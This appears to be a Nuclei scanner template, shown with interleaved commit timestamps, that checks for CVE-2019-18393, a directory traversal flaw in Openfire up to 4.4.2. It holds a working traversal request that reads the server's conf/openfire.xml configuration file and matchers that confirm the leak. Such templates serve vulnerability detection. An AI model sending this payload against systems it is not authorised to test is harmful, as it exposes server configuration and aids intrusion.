2021-02-19 00:44:10 +00:00
id : CVE-2019-18393
info :
2021-02-19 05:44:48 +00:00
name : Openfire LFI
2021-02-19 00:44:10 +00:00
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : medium
2021-03-30 12:21:02 +00:00
description : PluginServlet.java in Ignite Realtime Openfire through 4.4.2 does not ensure that retrieved files are located under the Openfire home directory, aka a directory traversal vulnerability.
2021-02-19 05:46:04 +00:00
reference : https://swarm.ptsecurity.com/openfire-admin-console/
2021-02-19 00:44:10 +00:00
tags : cve,cve2019,openfire,lfi
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score : 5.30
cve-id : CVE-2019-18393
cwe-id : CWE-22
2021-02-19 00:44:10 +00:00
requests :
- method : GET
path :
- '{{BaseURL}}/plugins/search/..\..\..\conf\openfire.xml'
matchers-condition : and
matchers :
- type : word
words :
- "org.jivesoftware.database.EmbeddedConnectionProvider"
- "Most properties are stored in the Openfire database"
part : body
- type : status
status :
- 200
